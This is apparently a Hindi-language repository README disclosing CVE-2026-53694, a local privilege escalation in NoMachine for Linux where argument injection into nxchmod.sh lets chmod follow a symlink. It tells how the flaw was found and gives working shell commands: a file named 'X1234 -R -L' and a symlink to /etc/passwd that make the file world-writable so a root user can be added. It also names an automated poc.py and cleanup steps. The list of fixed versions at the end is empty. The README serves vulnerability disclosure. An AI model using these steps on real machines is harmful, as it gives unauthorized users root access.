
CVE-2026-53694 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और विवरण, जो NoMachine for Linux में आर्गुमेंट इंजेक्शन के माध्यम से एक स्थानीय विशेषाधिकार वृद्धि है, जो nxchmod.sh में होता है, और सिमलिंक हेरफेर के माध्यम से रूट एक्सेस सक्षम करता है।
इस रिपॉज़िटरी में CVE-2026-53694 के लिए राइट-अप और प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है, जो Linux के लिए NoMachine में एक लोकल प्रिविलेज एस्केलेशन (LPE) भेद्यता है।
nxchmod.sh स्क्रिप्ट में आर्ग्युमेंट डेलिमिटर्स के अनुचित न्यूट्रलाइज़ेशन के कारण, एक स्थानीय अपरिविलेज्ड उपयोगकर्ता root के रूप में निष्पादित सिस्टम कमांड में आर्ग्युमेंट इंजेक्ट कर सकता है। इस आर्ग्युमेंट इंजेक्शन को एक सिम्बॉलिक लिंक के साथ जोड़कर, एक हमलावर महत्वपूर्ण सिस्टम फ़ाइलों (जैसे /etc/passwd) को ओवरराइट कर सकता है और अपने विशेषाधिकारों को root तक बढ़ा सकता है।
इस भेद्यता को विक्रेता द्वारा पूरी तरह से पैच कर दिया गया है।
इस भेद्यता को खोजना परीक्षण, त्रुटि और देर रात की एक समझ का परिणाम था। खोज इस प्रकार सामने आई:
/usr/NX/scripts/restricted/nxchmod.sh स्क्रिप्ट को root उपयोगकर्ता द्वारा समय-समय पर विशिष्ट निर्देशिकाओं में अनुमतियों को प्रबंधित करने के लिए निष्पादित किया जा रहा था।chmod a+rw लागू कर रही थी। मैंने सोचा: यदि मैं गंतव्य को नियंत्रित करता हूँ, तो क्या मैं /etc/passwd को लिखने योग्य बनाने के लिए सिम्बॉलिक लिंक का उपयोग कर सकता हूँ? मैंने एक मानक सिम्बॉलिक लिंक (ln -s /etc/passwd /tmp/asdf) का परीक्षण किया, लेकिन यह विफल रहा। /tmp जैसी निर्देशिकाओं पर Linux स्टिकी बिट root उपयोगकर्ता को किसी अन्य उपयोगकर्ता द्वारा बनाए गए सिम्बॉलिक लिंक का आँख बंद करके अनुसरण करने से रोकता है।${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}। स्क्रिप्ट शाब्दिक फ़ाइल नाम ले रही थी और उसे सीधे chmod को पास कर रही थी।X1234 -R -L नाम की एक फ़ाइल बनाई। जब स्क्रिप्ट चली, तो chmod कमांड ने इसे एकल फ़ाइल पथ के बजाय आर्ग्युमेंट्स में विस्तारित कर दिया।chmod कमांड में -L (सिम्बॉलिक लिंक का अनुसरण करें) और -R (रिकर्सिव) फ्लैग्स इंजेक्ट करके, मैंने chmod बाइनरी को स्वयं उस सिम्बॉलिक लिंक को हल करने और उसका अनुसरण करने के लिए मजबूर किया जो मैंने निर्देशिका में बनाया था, जिससे स्टिकी बिट सुरक्षा पूरी तरह से बायपास हो गई।/etc/passwd लिखने योग्य (a+rw) हो जाने के बाद, मैं फ़ाइल में एक नया root उपयोगकर्ता जोड़ सकता था और su के माध्यम से उसमें प्रवेश कर सकता था।यह भेद्यता इस बात से उत्पन्न होती है कि NoMachine X11/Wayland सॉकेट्स के लिए अनुमतियों को कैसे संभालता है। nxchmod.sh स्क्रिप्ट को root के रूप में चल रहे nxserver.bin डेमन द्वारा स्पॉन किया जाता है।
भेद्य निष्पादन इस प्रकार दिखता है:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
यदि एक हमलावर एक निर्देशिका संरचना और X1234 -R -L नाम की एक फ़ाइल बनाता है, तो root द्वारा निष्पादित परिणामी कमांड बन जाती है:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
जब X1234 निर्देशिका के अंदर /etc/passwd की ओर इशारा करने वाला एक सिम्बॉलिक लिंक रखा जाता है, तो इंजेक्ट किए गए -R और -L आर्ग्युमेंट्स chmod को मजबूर करते हैं कि वह सिम्बॉलिक लिंक का रिकर्सिव रूप से अनुसरण करे और लक्ष्य फ़ाइल को वैश्विक पढ़ने/लिखने की अनुमतियाँ प्रदान करे।
इस एक्सप्लॉइट के काम करने के लिए, लक्ष्य सिस्टम को निम्नलिखित शर्तों को पूरा करना होगा:
आप इस भेद्यता को या तो शेल कमांड्स का उपयोग करके मैन्युअल रूप से, या प्रदान की गई Python स्क्रिप्ट का उपयोग करके स्वचालित रूप से पुन: उत्पन्न कर सकते हैं।
/tmp/.X11-unix/ पर जाएँ और दुर्भावनापूर्ण निर्देशिका संरचना बनाने के लिए निम्नलिखित कमांड्स निष्पादित करें।
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
एक बार जब आप भेद्यता को सत्यापित कर लें और विशेषाधिकार बढ़ा लें, तो सिस्टम स्थिरता बहाल करने और आर्टिफैक्ट्स को हटाने के लिए निम्नलिखित क्लीनअप कमांड्स चलाएँ:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
एक पूर्ण स्वचालित एक्सप्लॉइट poc.py में प्रदान किया गया है। यह स्क्रिप्ट Wayland आवश्यकताओं को सत्यापित करती है, सिम्बॉलिक लिंक सेट करती है, nxchmod.sh निष्पादन चक्र की प्रतीक्षा करती है और /etc/passwd में एक नया root उपयोगकर्ता (gg) इंजेक्ट करती है
एक्सप्लॉइट चलाने के लिए:
python3 poc.py
इस भेद्यता को NoMachine द्वारा संबोधित किया गया है। उपयोगकर्ताओं को निम्नलिखित संस्करणों या बाद के संस्करणों में अपडेट करना चाहिए: